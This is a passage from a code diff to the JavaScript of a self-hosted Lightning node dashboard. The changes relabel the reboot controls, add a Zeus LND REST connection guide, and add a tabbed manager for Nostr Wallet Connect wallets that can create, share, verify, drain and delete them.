throw new Error(detail);
|
||||
}
|
||||
return res.json();
|
||||
|
||||
@@ -69,7 +69,7 @@ function onRebuildDone(result) {
|
||||
// Auto-reload the page after a short delay so tiles and toggles reflect the new state
|
||||
setTimeout(function() { window.location.reload(); }, 1200);
|
||||
} else if (result === "reboot_required") {
|
||||
if ($rebuildStatus) $rebuildStatus.textContent = "✓ Done — reboot required";
|
||||
if ($rebuildStatus) $rebuildStatus.textContent = "✓ Done — restart required";
|
||||
if ($rebuildReboot) $rebuildReboot.style.display = "inline-flex";
|
||||
} else {
|
||||
if ($rebuildStatus) $rebuildStatus.textContent = "✗ Something went wrong";
|
||||
|
||||
@@ -145,28 +145,25 @@ function openSecurityModal() {
|
||||
if (rebootBtn) {
|
||||
// Keep button disabled for 5 seconds to prevent accidental clicks
|
||||
var countdown = 5;
|
||||
rebootBtn.textContent = "I have written down my new password \u2014 Reboot now (" + countdown + ")";
|
||||
rebootBtn.textContent = "I have written down my new password \u2014 Restart Entire System (" + countdown + ")";
|
||||
var timer = setInterval(function() {
|
||||
countdown--;
|
||||
if (countdown <= 0) {
|
||||
clearInterval(timer);
|
||||
rebootBtn.disabled = false;
|
||||
rebootBtn.textContent = "I have written down my new password \u2014 Reboot now";
|
||||
rebootBtn.textContent = "I have written down my new password \u2014 Restart Entire System";
|
||||
} else {
|
||||
rebootBtn.textContent = "I have written down my new password \u2014 Reboot now (" + countdown + ")";
|
||||
rebootBtn.textContent = "I have written down my new password \u2014 Restart Entire System (" + countdown + ")";
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
rebootBtn.addEventListener("click", function() {
|
||||
rebootBtn.disabled = true;
|
||||
rebootBtn.textContent = "Rebooting\u2026";
|
||||
if ($rebootOverlay) $rebootOverlay.classList.add("visible");
|
||||
_rebootStartTime = Date.now();
|
||||
_serverWentDown = false;
|
||||
setTimeout(waitForServerReboot, REBOOT_INITIAL_DELAY);
|
||||
var rebootCtrl = new AbortController();
|
||||
setTimeout(function() { rebootCtrl.abort(); }, REBOOT_REQUEST_TIMEOUT);
|
||||
fetch("/api/reboot", { method: "POST", signal: rebootCtrl.signal }).catch(function() {});
|
||||
rebootBtn.textContent = "Restarting\u2026";
|
||||
// Hide the security reset overlay so the shared reboot overlay is visible
|
||||
var $secResetOverlay2 = document.getElementById("security-reset-overlay");
|
||||
if ($secResetOverlay2) $secResetOverlay2.classList.remove("visible");
|
||||
doReboot();
|
||||
}, { once: true });
|
||||
}
|
||||
} catch (err) {
|
||||
|
||||
@@ -2,6 +2,21 @@
|
||||
|
||||
// ── Service detail modal ──────────────────────────────────────────
|
||||
|
||||
function _getZeusConnectGuideHtml() {
|
||||
return '<div class="nwc-connect-guide">' +
|
||||
'<div class="nwc-connect-guide-title">📱 Connect to Zeus</div>' +
|
||||
'<p class="nwc-connect-guide-intro">This connection URL is an <strong>LND REST</strong> connection — the direct way to use Zeus with your node for full admin access. It connects securely through Tor, allowing you to manage channels, balances, and your full node on the go.</p>' +
|
||||
'<div class="nwc-connect-steps">' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">1</div><div><strong>Download Zeus</strong> from the App Store or Google Play.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">2</div><div>Open Zeus and open the <strong>Wallets</strong> screen.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">3</div><div>Tap the <strong>+ (Add Wallet)</strong> button in the top-right corner.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">4</div><div>On <strong>Wallet Configuration</strong>, tap the <strong>scan icon</strong> in the top-right corner, then scan the QR code above.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">5</div><div>Zeus detects the LND REST QR and fills in the connection details. Review them, then tap <strong>Save Wallet Config</strong>.</div></div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-connect-note"><strong>💡 Note:</strong> This is <em>not</em> the same as the NWC pairing QR shown in Lightning Wallet Connections — that gives your wallet sandboxed, limited access for everyday spending. LND REST connects Zeus directly to your node for full admin control.</div>' +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
function _renderCredsHtml(credentials, unit) {
|
||||
var html = "";
|
||||
for (var i = 0; i < credentials.length; i++) {
|
||||
@@ -9,7 +24,10 @@ function _renderCredsHtml(credentials, unit) {
|
||||
var id = "cred-" + Math.random().toString(36).substring(2, 8);
|
||||
var qrBlock = "";
|
||||
if (cred.qrcode) {
|
||||
qrBlock = '<div class="creds-qr-wrap"><img class="creds-qr-img" src="' + cred.qrcode + '" alt="QR Code for ' + escHtml(cred.label) + '"><div class="creds-qr-hint">Scan with Zeus app on your phone</div></div>';
|
||||
var qrHint = (unit === "zeus-connect-setup.service")
|
||||
? "This is an <strong>LND REST</strong> connection QR — in Zeus, add a wallet and use the scan icon (see steps below)."
|
||||
: "In Zeus: <em>Wallets → + → scan icon</em>. This is an <strong>LND REST</strong> QR for direct node access.";
|
||||
qrBlock = '<div class="creds-qr-wrap"><img class="creds-qr-img" src="' + cred.qrcode + '" alt="QR Code for ' + escHtml(cred.label) + '"><div class="creds-qr-hint">' + qrHint + '</div></div>';
|
||||
}
|
||||
// If qronly, render the label + QR block only — skip value and copy button
|
||||
if (cred.qronly) {
|
||||
@@ -58,8 +76,562 @@ function _attachCopyHandlers(container) {
|
||||
});
|
||||
}
|
||||
|
||||
var _nwcModalState = null;
|
||||
|
||||
function _isNwcServiceUnit(unit) {
|
||||
// The dashboard tile is backed by Alby Hub, while older drafts referred to
|
||||
// the logical feature as nwc-wallets.service. Support both so the Wallet
|
||||
// Connections manager appears from the actual tile and any legacy configs.
|
||||
return unit === "albyhub.service" || unit === "nwc-wallets.service";
|
||||
}
|
||||
|
||||
function _nwcStateMessageHtml() {
|
||||
if (!_nwcModalState || !_nwcModalState.message) return "";
|
||||
var msgClass = _nwcModalState.messageKind === "success" ? "success" : "error";
|
||||
return '<div class="matrix-form-result ' + msgClass + '">' + escHtml(_nwcModalState.message) + '</div>';
|
||||
}
|
||||
|
||||
function _nwcSetMessage(kind, text) {
|
||||
if (!_nwcModalState) return;
|
||||
_nwcModalState.messageKind = kind || "error";
|
||||
_nwcModalState.message = text || "";
|
||||
}
|
||||
|
||||
function _nwcClearMessage() {
|
||||
if (!_nwcModalState) return;
|
||||
_nwcModalState.messageKind = "";
|
||||
_nwcModalState.message = "";
|
||||
}
|
||||
|
||||
function _nwcWalletSectionEl() {
|
||||
return document.getElementById("nwc-wallets-body");
|
||||
}
|
||||
|
||||
function _nwcFormatSats(value) {
|
||||
var n = Number(value || 0);
|
||||
if (!Number.isFinite(n)) n = 0;
|
||||
return n.toLocaleString("en-US");
|
||||
}
|
||||
|
||||
// "Go to Service & Setup" shortcut shown when no Lightning Address domain
|
||||
// is configured yet — jumps to the sibling tab instead of dead-ending.
|
||||
function _nwcWireDomainLink() {
|
||||
var link = document.getElementById("nwc-domain-setup-link");
|
||||
if (link) link.addEventListener("click", function() { _nwcActivateTab("setup"); });
|
||||
}
|
||||
|
||||
// ── Lightning Wallet Connections: tabbed modal shell ──────────────
|
||||
// The wallet manager is a small app in its own right, so it gets the full
|
||||
// width of the dialog on a "Wallets" tab, while status / enable / domain /
|
||||
// ports / restart live on a "Service & Setup" tab.
|
||||
|
||||
function _setCredsDialogWide(on) {
|
||||
if (!$credsModal) return;
|
||||
var dialog = $credsModal.querySelector(".creds-dialog");
|
||||
if (dialog) dialog.classList.toggle("creds-dialog--wide", !!on);
|
||||
}
|
||||
|
||||
function _nwcTabsShellHtml(opts) {
|
||||
var domainChip = opts.domain
|
||||
? '<span class="nwc-header-chip nwc-header-chip--domain" title="Lightning Address domain">🌐 ' + escHtml(opts.domain) + '</span>'
|
||||
: '<span class="nwc-header-chip nwc-header-chip--warn" title="No Lightning Address domain configured yet">🌐 Domain not set</span>';
|
||||
|
||||
return '<div class="nwc-tabs" data-active="' + escHtml(opts.activeTab) + '">' +
|
||||
'<div class="nwc-tabs-bar" role="tablist" aria-label="Lightning Wallet Connections sections">' +
|
||||
'<div class="nwc-tabs-btns">' +
|
||||
'<button class="nwc-tab-btn" role="tab" data-tab="wallets" id="nwc-tab-btn-wallets" aria-controls="nwc-tab-wallets">⚡ Wallets</button>' +
|
||||
'<button class="nwc-tab-btn" role="tab" data-tab="setup" id="nwc-tab-btn-setup" aria-controls="nwc-tab-setup">⚙ Service & Setup</button>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-header-chips">' +
|
||||
'<span class="nwc-header-chip"><span class="status-dot ' + opts.statusDotClass + '"></span>' + escHtml(opts.statusLabel) + '</span>' +
|
||||
domainChip +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-tab-panel" role="tabpanel" id="nwc-tab-wallets" aria-labelledby="nwc-tab-btn-wallets" data-tab="wallets">' + opts.walletsHtml + '</div>' +
|
||||
'<div class="nwc-tab-panel" role="tabpanel" id="nwc-tab-setup" aria-labelledby="nwc-tab-btn-setup" data-tab="setup">' + opts.setupHtml + '</div>' +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
function _nwcActivateTab(tab) {
|
||||
var root = document.querySelector(".nwc-tabs");
|
||||
if (!root) return;
|
||||
root.setAttribute("data-active", tab);
|
||||
root.querySelectorAll(".nwc-tab-btn").forEach(function(btn) {
|
||||
var on = btn.getAttribute("data-tab") === tab;
|
||||
btn.classList.toggle("active", on);
|
||||
btn.setAttribute("aria-selected", on ? "true" : "false");
|
||||
});
|
||||
root.querySelectorAll(".nwc-tab-panel").forEach(function(panel) {
|
||||
panel.classList.toggle("active", panel.getAttribute("data-tab") === tab);
|
||||
});
|
||||
var body = document.getElementById("creds-body");
|
||||
if (body) body.scrollTop = 0;
|
||||
}
|
||||
|
||||
function _nwcWireTabs() {
|
||||
var root = document.querySelector(".nwc-tabs");
|
||||
if (!root) return;
|
||||
root.querySelectorAll(".nwc-tab-btn").forEach(function(btn) {
|
||||
btn.addEventListener("click", function() {
|
||||
_nwcActivateTab(btn.getAttribute("data-tab"));
|
||||
});
|
||||
});
|
||||
_nwcActivateTab(root.getAttribute("data-active") || "wallets");
|
||||
var gotoSetup = document.getElementById("nwc-goto-setup-btn");
|
||||
if (gotoSetup) gotoSetup.addEventListener("click", function() { _nwcActivateTab("setup"); });
|
||||
}
|
||||
|
||||
function _nwcRenderWalletState() {
|
||||
var host = _nwcWalletSectionEl();
|
||||
if (!host || !_nwcModalState) return;
|
||||
var state = _nwcModalState;
|
||||
var html = "";
|
||||
html += _nwcStateMessageHtml();
|
||||
|
||||
if (state.view === "create") {
|
||||
var selectedLimited = state.createForm.access_preset === "send_receive_limited";
|
||||
html +=
|
||||
'<div class="nwc-tab-intro-title">Create a Wallet</div>' +
|
||||
'<p class="nwc-tab-intro-desc">Create a secure, sandboxed wallet for a specific app. Each wallet gets its own Lightning Address and optional spending limit.</p>' +
|
||||
'<div class="matrix-form-group"><label class="matrix-form-label" for="nwc-wallet-name">Wallet Name</label>' +
|
||||
'<input class="matrix-form-input" id="nwc-wallet-name" type="text" placeholder="My Wallet" value="' + escHtml(state.createForm.name || "") + '" autocomplete="off"></div>' +
|
||||
'<div class="matrix-form-group"><label class="matrix-form-label" for="nwc-wallet-alias">Lightning Address Alias</label>' +
|
||||
'<input class="matrix-form-input" id="nwc-wallet-alias" type="text" placeholder="my-wallet" value="' + escHtml(state.createForm.alias || "") + '" autocomplete="off">' +
|
||||
'<div class="creds-qr-hint">Lowercase letters, numbers, "_" and "-" only.</div></div>' +
|
||||
'<div class="matrix-form-group"><label class="matrix-form-label" for="nwc-wallet-preset">Access Preset</label>' +
|
||||
'<select class="matrix-form-input" id="nwc-wallet-preset">' +
|
||||
'<option value="receive_only"' + (state.createForm.access_preset === "receive_only" ? " selected" : "") + '>Receive only</option>' +
|
||||
'<option value="send_receive_limited"' + (selectedLimited ? " selected" : "") + '>Send + receive (limited)</option>' +
|
||||
'</select></div>' +
|
||||
'<div class="matrix-form-group"><label class="matrix-form-label" for="nwc-wallet-limit">Spending Limit (sats)</label>' +
|
||||
'<input class="matrix-form-input" id="nwc-wallet-limit" type="number" min="1" step="1" placeholder="50000" value="' + escHtml(state.createForm.spending_limit_sats || "") + '"' + (selectedLimited ? "" : " disabled") + "></div>" +
|
||||
'<div class="matrix-form-actions">' +
|
||||
'<button class="matrix-form-back" id="nwc-create-cancel-btn"' + (state.busy ? " disabled" : "") + '>← Back</button>' +
|
||||
'<button class="matrix-form-submit" id="nwc-create-submit-btn"' + (state.busy ? " disabled" : "") + '>' + (state.busy ? "Creating…" : "Create Wallet") + '</button>' +
|
||||
'</div>';
|
||||
host.innerHTML = html;
|
||||
var presetSel = document.getElementById("nwc-wallet-preset");
|
||||
if (presetSel) {
|
||||
presetSel.addEventListener("change", function() {
|
||||
state.createForm.access_preset = presetSel.value;
|
||||
_nwcRenderWalletState();
|
||||
});
|
||||
}
|
||||
var cancelBtn = document.getElementById("nwc-create-cancel-btn");
|
||||
if (cancelBtn) {
|
||||
cancelBtn.addEventListener("click", function() {
|
||||
if (state.busy) return;
|
||||
state.view = state.wallets.length > 0 ? "list" : "empty";
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
|
||||
});
|
||||
}
|
||||
var submitBtn = document.getElementById("nwc-create-submit-btn");
|
||||
if (submitBtn) submitBtn.addEventListener("click", _nwcCreateWallet);
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.view === "created" && state.lastCreated) {
|
||||
var created = state.lastCreated;
|
||||
var pairId = "nwc-pairing-uri-" + Math.random().toString(36).substring(2, 8);
|
||||
html += '<div class="nwc-secret-warning">⚠ One-time pairing secret. Save it now — it will not be shown again.</div>';
|
||||
if (created.pairing_qrcode) {
|
||||
html += '<div class="creds-row"><div class="creds-label">QR Code</div>' +
|
||||
'<div class="creds-qr-wrap"><img class="creds-qr-img" src="' + created.pairing_qrcode + '" alt="QR code for Lightning Wallet Connections pairing secret"><div class="creds-qr-hint">This is an <strong>NWC</strong> pairing QR — in Zeus, add a wallet and use the scan icon (see steps below).</div></div></div>';
|
||||
}
|
||||
html += '<div class="creds-row"><div class="creds-label">Pairing URI</div>' +
|
||||
'<div class="creds-value-wrap"><div class="creds-value" id="' + pairId + '">' + escHtml(created.pairing_uri || "Unavailable") + '</div><button class="creds-copy-btn" data-target="' + pairId + '">Copy</button></div></div>';
|
||||
if (created.wallet && created.wallet.lightning_address) {
|
||||
html += '<div class="creds-row"><div class="creds-label">Lightning Address</div>' +
|
||||
'<div class="creds-value-wrap"><div class="creds-value">' + escHtml(created.wallet.lightning_address) + '</div></div></div>';
|
||||
}
|
||||
html += '<div class="nwc-connect-guide">' +
|
||||
'<div class="nwc-connect-guide-title">📱 Connect to Zeus</div>' +
|
||||
'<p class="nwc-connect-guide-intro">This pairing URI is an <strong>NWC (Nostr Wallet Connect)</strong> connection — the modern, mobile-friendly way to use Zeus with your node. It connects directly through your Lightning domain, so no Tor or port forwarding is needed on your phone.</p>' +
|
||||
'<div class="nwc-connect-steps">' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">1</div><div><strong>Download Zeus</strong> from the App Store or Google Play.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">2</div><div>Open Zeus and open the <strong>Wallets</strong> screen.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">3</div><div>Tap the <strong>+ (Add Wallet)</strong> button in the top-right corner.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">4</div><div>On <strong>Wallet Configuration</strong>, tap the <strong>scan icon</strong> in the top-right corner, then scan the QR code above.</div></div>' +
|
||||
'<div class="nwc-connect-step"><div class="nwc-step-num">5</div><div>Zeus detects the NWC QR and fills in <strong>Nostr Wallet Connect</strong>. Review it, then tap <strong>Save Wallet Config</strong>.</div></div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-connect-note"><strong>💡 Note:</strong> This is <em>not</em> the same as the LND REST / Tor QR shown on your LND tile — that connects Zeus directly to your Lightning node for full admin control. NWC gives your wallet sandboxed, limited access for everyday spending.</div>' +
|
||||
'</div>';
|
||||
html += '<div class="matrix-form-actions">' +
|
||||
'<button class="matrix-form-back" id="nwc-created-another-btn"' + (state.busy ? " disabled" : "") + '>Create Another Wallet</button>' +
|
||||
'<button class="matrix-form-submit" id="nwc-created-continue-btn"' + (state.busy ? " disabled" : "") + '>I Saved This Secret</button>' +
|
||||
'</div>';
|
||||
host.innerHTML = html;
|
||||
_attachCopyHandlers(host);
|
||||
var continueBtn = document.getElementById("nwc-created-continue-btn");
|
||||
if (continueBtn) {
|
||||
continueBtn.addEventListener("click", async function() {
|
||||
if (state.busy) return;
|
||||
state.lastCreated = null;
|
||||
state.view = "list";
|
||||
await _nwcRefreshWallets();
|
||||
});
|
||||
}
|
||||
var anotherBtn = document.getElementById("nwc-created-another-btn");
|
||||
if (anotherBtn) {
|
||||
anotherBtn.addEventListener("click", function() {
|
||||
if (state.busy) return;
|
||||
state.view = "create";
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
|
||||
});
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.view === "share" && state.shareWallet) {
|
||||
var sw = state.shareWallet;
|
||||
var swId = encodeURIComponent(String(sw.id || sw.pubkey || ""));
|
||||
var swAddress = sw.lightning_address || ((sw.alias && state.domain) ? sw.alias + "@" + state.domain : "");
|
||||
var pngUrl = "/api/nwc/wallets/" + swId + "/lnurl-qr.png";
|
||||
var shareAddrId = "nwc-share-addr-" + Math.random().toString(36).substring(2, 8);
|
||||
var shareLnurlId = "nwc-share-lnurl-" + Math.random().toString(36).substring(2, 8);
|
||||
html += '<p class="svc-detail-desc">Share the Lightning Address for <strong>' + escHtml(sw.name || "Wallet") + '</strong>. This QR never expires — anyone can scan it with any Lightning wallet to send sats, as many times as they like.</p>' +
|
||||
'<div class="creds-qr-wrap">' +
|
||||
'<img class="creds-qr-img" src="' + pngUrl + '" alt="LNURL QR code for ' + escHtml(swAddress) + '">' +
|
||||
'<div class="creds-qr-hint">Scan with any Lightning wallet to pay ' + escHtml(swAddress) + '</div>' +
|
||||
'</div>' +
|
||||
(swAddress
|
||||
? '<div class="creds-row"><div class="creds-label">Lightning Address</div><div class="creds-value-wrap"><div class="creds-value" id="' + shareAddrId + '">' + escHtml(swAddress) + '</div><button class="creds-copy-btn" data-target="' + shareAddrId + '">Copy</button></div></div>'
|
||||
: "") +
|
||||
'<div class="creds-row"><div class="creds-label">LNURL</div><div class="creds-value-wrap"><div class="creds-value nwc-lnurl-value" id="' + shareLnurlId + '">Loading…</div><button class="creds-copy-btn" data-target="' + shareLnurlId + '">Copy</button></div></div>' +
|
||||
'<div class="nwc-share-actions">' +
|
||||
'<button class="matrix-form-submit" id="nwc-share-dl-png-btn">⬇ Download PNG</button>' +
|
||||
'<button class="matrix-form-back" id="nwc-share-dl-svg-btn">⬇ Download SVG</button>' +
|
||||
'<button class="matrix-form-back" id="nwc-share-print-btn">🖨 Print…</button>' +
|
||||
'<button class="matrix-form-back" id="nwc-share-back-btn">← Back</button>' +
|
||||
'</div>' +
|
||||
'<div class="creds-qr-hint nwc-share-formats-hint">PNG is ideal for websites and social posts. SVG stays sharp at any print size.</div>';
|
||||
host.innerHTML = html;
|
||||
_attachCopyHandlers(host);
|
||||
apiFetch("/api/nwc/wallets/" + swId + "/lnurl").then(function(payload) {
|
||||
var el = document.getElementById(shareLnurlId);
|
||||
if (el) el.textContent = payload.lnurl || "Unavailable";
|
||||
}).catch(function() {
|
||||
var el = document.getElementById(shareLnurlId);
|
||||
if (el) el.textContent = "Unavailable";
|
||||
});
|
||||
function _nwcShareDownload(url) {
|
||||
var a = document.createElement("a");
|
||||
a.href = url;
|
||||
a.rel = "noopener";
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
a.remove();
|
||||
}
|
||||
var dlPngBtn = document.getElementById("nwc-share-dl-png-btn");
|
||||
if (dlPngBtn) dlPngBtn.addEventListener("click", function() { _nwcShareDownload(pngUrl + "?download=1"); });
|
||||
var dlSvgBtn = document.getElementById("nwc-share-dl-svg-btn");
|
||||
if (dlSvgBtn) dlSvgBtn.addEventListener("click", function() { _nwcShareDownload("/api/nwc/wallets/" + swId + "/lnurl-qr.svg?download=1"); });
|
||||
var printBtn = document.getElementById("nwc-share-print-btn");
|
||||
if (printBtn) printBtn.addEventListener("click", function() { window.open("/api/nwc/wallets/" + swId + "/lnurl-qr/print", "_blank", "noopener"); });
|
||||
var shareBackBtn = document.getElementById("nwc-share-back-btn");
|
||||
if (shareBackBtn) {
|
||||
shareBackBtn.addEventListener("click", function() {
|
||||
state.view = "list";
|
||||
state.shareWallet = null;
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
|
||||
});
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
var canCreate = !!state.domain && !state.busy;
|
||||
var walletCount = (state.wallets || []).length;
|
||||
html += '<div class="nwc-toolbar">' +
|
||||
'<div class="nwc-toolbar-count">' + (walletCount === 1 ? '1 wallet' : walletCount + ' wallets') + '</div>' +
|
||||
'<div class="nwc-toolbar-actions">' +
|
||||
'<button class="matrix-form-back nwc-toolbar-refresh" id="nwc-refresh-btn"' + (state.busy ? " disabled" : "") + '>↻ Refresh</button>' +
|
||||
'<button class="matrix-action-btn" id="nwc-open-create-btn"' + (canCreate ? "" : " disabled") + '>➕ New Wallet</button>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
if (!state.domain) {
|
||||
html += '<div class="nwc-domain-required">' +
|
||||
'<strong>⚠ Lightning Address domain required</strong>' +
|
||||
'<div class="nwc-domain-required-body">Set up a unique hostname such as <strong>lightning.yourdomain.com</strong> before creating wallets.</div>' +
|
||||
'<button class="btn btn-primary nwc-domain-required-btn" id="nwc-domain-setup-link">⚙ Go to Service & Setup</button>' +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
if (!state.wallets || state.wallets.length === 0) {
|
||||
html += '<div class="nwc-empty-state">' +
|
||||
'<div class="nwc-empty-icon">⚡</div>' +
|
||||
'<div class="nwc-empty-title">Ready to start spending</div>' +
|
||||
'<p class="nwc-empty-desc">Create your first isolated wallet to connect to apps like Zeus (via NWC) or Nostr. Experience faster, more secure Lightning payments today.</p>' +
|
||||
'</div>';
|
||||
host.innerHTML = html;
|
||||
_nwcWireDomainLink();
|
||||
var openCreateBtn = document.getElementById("nwc-open-create-btn");
|
||||
if (openCreateBtn) {
|
||||
openCreateBtn.addEventListener("click", function() {
|
||||
if (state.busy) return;
|
||||
_nwcClearMessage();
|
||||
state.view = "create";
|
||||
_nwcRenderWalletState();
|
||||
});
|
||||
}
|
||||
var refreshBtnEmpty = document.getElementById("nwc-refresh-btn");
|
||||
if (refreshBtnEmpty) refreshBtnEmpty.addEventListener("click", _nwcRefreshWallets);
|
||||
return;
|
||||
}
|
||||
|
||||
html += '<div class="nwc-wallet-list">';
|
||||
state.wallets.forEach(function(wallet) {
|
||||
var id = wallet.id || wallet.pubkey || "";
|
||||
var addressId = "nwc-wallet-addr-" + Math.random().toString(36).substring(2, 8);
|
||||
var pending = Number(wallet.pending_transactions || 0);
|
||||
html += '<div class="nwc-wallet-card">' +
|
||||
'<div class="nwc-wallet-card-head">' +
|
||||
'<div class="nwc-wallet-card-title">' + escHtml(wallet.name || "Wallet") + '</div>' +
|
||||
'<div class="nwc-wallet-chips">' +
|
||||
'<span class="nwc-wallet-chip nwc-wallet-chip--balance">' + escHtml(_nwcFormatSats(wallet.balance_sats)) + ' sats</span>' +
|
||||
(pending > 0
|
||||
? '<span class="nwc-wallet-chip nwc-wallet-chip--pending" title="Pending transactions">⏳ ' + escHtml(String(pending)) + ' pending</span>'
|
||||
: '') +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
(wallet.lightning_address
|
||||
? '<div class="nwc-wallet-address">' +
|
||||
'<div class="creds-label">Lightning Address</div>' +
|
||||
'<div class="creds-value-wrap"><div class="creds-value" id="' + addressId + '">' + escHtml(wallet.lightning_address) + '</div>' +
|
||||
'<button class="creds-copy-btn" data-target="' + addressId + '">Copy</button></div>' +
|
||||
'</div>'
|
||||
: '<div class="nwc-wallet-address"><div class="creds-label">Alias</div>' +
|
||||
'<div class="creds-value-wrap"><div class="creds-value">' + escHtml(wallet.alias || "") + '</div></div></div>') +
|
||||
'<div class="nwc-wallet-actions">' +
|
||||
'<button class="matrix-action-btn nwc-wallet-action-btn" data-action="share" data-wallet-id="' + escHtml(id) + '"' + ((state.busy || !wallet.lightning_address) ? " disabled" : "") + '>⚡ Share QR</button>' +
|
||||
'<button class="matrix-form-back nwc-wallet-action-btn" data-action="test" data-wallet-alias="' + escHtml(wallet.alias || "") + '"' + (state.busy ? " disabled" : "") + '>Verify</button>' +
|
||||
'<span class="nwc-wallet-actions-spacer"></span>' +
|
||||
'<button class="matrix-form-back nwc-wallet-action-btn nwc-wallet-danger-btn" data-action="drain" data-wallet-id="' + escHtml(id) + '"' + (state.busy ? " disabled" : "") + '>Drain</button>' +
|
||||
'<button class="matrix-form-back nwc-wallet-action-btn nwc-wallet-danger-btn" data-action="delete" data-wallet-id="' + escHtml(id) + '"' + (state.busy ? " disabled" : "") + '>Delete</button>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
});
|
||||
html += "</div>";
|
||||
host.innerHTML = html;
|
||||
_attachCopyHandlers(host);
|
||||
_nwcWireDomainLink();
|
||||
|
||||
var createBtn = document.getElementById("nwc-open-create-btn");
|
||||
if (createBtn) {
|
||||
createBtn.addEventListener("click", function() {
|
||||
if (state.busy) return;
|
||||
_nwcClearMessage();
|
||||
state.view = "create";
|
||||
_nwcRenderWalletState();
|
||||
});
|
||||
}
|
||||
|
||||
var refreshBtn = document.getElementById("nwc-refresh-btn");
|
||||
if (refreshBtn) refreshBtn.addEventListener("click", _nwcRefreshWallets);
|
||||
|
||||
host.querySelectorAll(".nwc-wallet-action-btn").forEach(function(btn) {
|
||||
btn.addEventListener("click", function() {
|
||||
var action = btn.getAttribute("data-action");
|
||||
if (action === "share") _nwcOpenShare(btn.getAttribute("data-wallet-id"));
|
||||
else if (action === "test") _nwcVerifyWallet(btn.getAttribute("data-wallet-alias"));
|
||||
else if (action === "drain") _nwcDrainWallet(btn.getAttribute("data-wallet-id"));
|
||||
else if (action === "delete") _nwcDeleteWallet(btn.getAttribute("data-wallet-id"));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function _nwcOpenShare(walletId) {
|
||||
if (!_nwcModalState || _nwcModalState.busy || !walletId) return;
|
||||
var wallet = null;
|
||||
for (var i = 0; i < _nwcModalState.wallets.length; i++) {
|
||||
var w = _nwcModalState.wallets[i];
|
||||
if (String(w.id || w.pubkey || "") === String(walletId)) { wallet = w; break; }
|
||||
}
|
||||
if (!wallet) {
|
||||
_nwcSetMessage("error", "Wallet connection not found.");
|
||||
_nwcRenderWalletState();
|
||||
return;
|
||||
}
|
||||
_nwcClearMessage();
|
||||
_nwcModalState.shareWallet = wallet;
|
||||
_nwcModalState.view = "share";
|
||||
_nwcRenderWalletState();
|
||||
}
|
||||
|
||||
async function _nwcRefreshWallets() {
|
||||
if (!_nwcModalState) return;
|
||||
var host = _nwcWalletSectionEl();
|
||||
if (host) host.innerHTML = '<p class="creds-loading">Loading wallet connections…</p>';
|
||||
try {
|
||||
var payload = await apiFetch("/api/nwc/wallets");
|
||||
_nwcModalState.wallets = Array.isArray(payload.wallets) ? payload.wallets : [];
|
||||
_nwcModalState.domain = payload.domain || null;
|
||||
if (_nwcModalState.view !== "create" && _nwcModalState.view !== "created" && _nwcModalState.view !== "share") {
|
||||
_nwcModalState.view = _nwcModalState.wallets.length > 0 ? "list" : "empty";
|
||||
}
|
||||
_nwcRenderWalletState();
|
||||
} catch (err) {
|
||||
_nwcSetMessage("error", (err && err.message) ? err.message : "Could not load wallet connections.");
|
||||
_nwcRenderWalletState();
|
||||
}
|
||||
}
|
||||
|
||||
function _nwcBusy(on) {
|
||||
if (!_nwcModalState) return;
|
||||
_nwcModalState.busy = !!on;
|
||||
}
|
||||
|
||||
async function _nwcCreateWallet() {
|
||||
if (!_nwcModalState || _nwcModalState.busy) return;
|
||||
var nameEl = document.getElementById("nwc-wallet-name");
|
||||
var aliasEl = document.getElementById("nwc-wallet-alias");
|
||||
var presetEl = document.getElementById("nwc-wallet-preset");
|
||||
var limitEl = document.getElementById("nwc-wallet-limit");
|
||||
if (!nameEl || !aliasEl || !presetEl || !limitEl) return;
|
||||
|
||||
var name = (nameEl.value || "").trim();
|
||||
var alias = (aliasEl.value || "").trim().toLowerCase();
|
||||
var preset = presetEl.value || "receive_only";
|
||||
var limitRaw = (limitEl.value || "").trim();
|
||||
var limit = null;
|
||||
|
||||
_nwcModalState.createForm = {
|
||||
name: name,
|
||||
alias: alias,
|
||||
access_preset: preset,
|
||||
spending_limit_sats: limitRaw
|
||||
};
|
||||
|
||||
if (!name) {
|
||||
_nwcSetMessage("error", "Wallet name is required.");
|
||||
_nwcRenderWalletState();
|
||||
return;
|
||||
}
|
||||
if (!/^[a-z0-9][a-z0-9_-]{0,31}$/.test(alias)) {
|
||||
_nwcSetMessage("error", 'Alias must start with a letter or number and use only lowercase letters, numbers, "_" or "-".');
|
||||
_nwcRenderWalletState();
|
||||
return;
|
||||
}
|
||||
if (preset === "send_receive_limited") {
|
||||
limit = parseInt(limitRaw, 10);
|
||||
if (!Number.isFinite(limit) || limit <= 0) {
|
||||
_nwcSetMessage("error", "A positive spending limit is required for limited send access.");
|
||||
_nwcRenderWalletState();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
_nwcBusy(true);
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
